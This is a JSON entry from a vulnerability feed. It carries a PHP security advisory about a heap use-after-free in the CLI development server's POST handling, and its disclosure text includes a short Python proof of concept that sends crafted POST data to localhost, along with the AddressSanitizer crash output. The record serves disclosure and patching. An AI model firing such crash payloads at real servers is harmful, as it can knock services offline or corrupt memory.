{"vuln_id":"GHSA-4w77-75f9-2c8w","aliases":[],"description":"Heap-Use-After-Free in sapi_read_post_data Processing in CLI SAPI Interface","published_at":"2024-11-21T18:15:01Z","modified_at":"2024-11-21T18:15:01Z","first_seen_at":"2026-11-22T14:05:37.624948Z","severity":"low","severity_source":"ghsa","cvss_score":null,"cvss_vector":null,"cwe":[],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":null,"epss_percentile":null,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://github.com/advisories/GHSA-4w77-75f9-2c8w"},"matched_alias":null,"items":[{"id":12666,"source":{"id":"gh-php-src","name":"PHP releases (GitHub php/php-src tags)"},"title":"GHSA-4w77-75f9-2c8w: Heap-Use-After-Free in sapi_read_post_data Processing in CLI SAPI Interface","summary":"Heap-Use-After-Free in sapi_read_post_data Processing in CLI SAPI Interface ### Summary A heap-use-after-free vulnerability in the sapi_read_post_data function within PHP’s CLI server allows an attacker to potentially exploit memory safety issues during POST request processing. ### Details The vulnerability resides in the `php_cli_server_client_populate_request_info` function in PHP's CLI SAPI. This results in the handling of a dangling `content_type` pointer at line 175 of SAPI.c. The CLI improperly manages memory during the processing of content_type, leading to a use-after-free condition that could result in memory corruption. The issue is triggered by specific crafted POST data, as shown by the following AddressSanitizer output: ``` ==82343==ERROR: AddressSanitizer: heap-use-after-free on address 0x50600001ecf8 at pc 0x55555581b44f bp 0x7fffffffdcf0 sp 0x7fffffffd4b8 READ of size 34 at 0x50600001ecf8 thread T0 #1 0x5555563bfadb in sapi_read_post_data /php-8.3.13/main/SAPI.c:175:43 #2 0x5555563bfadb in sapi_activate /php-8.3.13/main/SAPI.c:469:4 ``` ### PoC 1. `exploit.py` ```py import requests url = 'http://localhost:8080/exploit.php' php_crash_data = \"AAAAAAA\" print(\"Sending payload 1...\") hex_response = requests.post(url, data={'input': php_crash_data}) print(\"\\nSending payload 2...\") raw_response = requests.post(url, data=php_crash_data) ``` 2. `exploit.php` ```php ``` 3. Start the PHP server compiled with ASAN: In the directory containing exploit.php, run: `./sapi/cli/php -S localhost:8080 &` 2. Run the exploit: Execute the PoC script by running: `python3 exploit.py` Resulted in this output: ```c root@32fbd16f3ed1:/php-8.3.13# ./sapi/cli/php -S localhost:8080 & [1] 82343 root@32fbd16f3ed1:/php-8.3.13# [Sat Nov 9 07:08:06 2024] PHP 8.3.13 Development Server (http://localhost:8080) started root@32fbd16f3ed1:/php-8.3.13# python3 exploit.py Sending payload 1... [Sat Nov 9 07:08:14 2024] [::1]:54356 Accepted [Sat Nov 9 07:08:14 2024] [::1]:54356 [200]: POST /exploit.php [Sat Nov 9 07:08:14 2024] [::1]:54356 Closing Sending payload 2... [Sat Nov 9 07:08:14 2024] [::1]:54360 Accepted ================================================================= ==82343==ERROR: AddressSanitizer: heap-use-after-free on address 0x50600001ecf8 at pc 0x55555581b44f bp 0x7fffffffdcf0 sp 0x7fffffffd4b8 READ of size 34 at 0x50600001ecf8 thread T0 #0 0x55555581b44e in strlen (/php-8.3.13/sapi/cli/php+0x41b44e) (BuildId: 712b3d4fbdcb978a011679cd1c90ada321af14cf) #1 0x5555563bfadb in sapi_read_post_data /php-8.3.13/main/SAPI.c:175:43 #2 0x5555563bfadb in sapi_activate /php-8.3.13/main/SAPI.c:469:4 #3 0x555556394fce in php_request_startup /php-8.3.13/main/main.c:1795:3 #4 0x555556c42e7b in php_cli_server_request_startup /php-8.3.13/sapi/cli/php_cli_server.c:2236:17 #5 0x555556c42e7b Patched: 8.1.31, 8.2.26, 8.3.14","url":"https://github.com/php/php-src/security/advisories/GHSA-4w77-75f9-2c8w","published_at":"2024-11-21T18:15:01Z","updated_at":"2024-11-21T18:15:01Z","fetched_at":"2026-11-22T14:05:37.431196Z","severity":"low","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"php","product":"php-src","vuln_id":"GHSA-4w77-75f9-2c8w","vuln_ids":["GHSA-4W77-75F9-2C8W"],"tags":["repo-advisory","security","repo:php/php-src","stack"],"cluster_id":11774,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12666","html":"https://vulnwatch.ve1ve2.com/item/12666"}}]}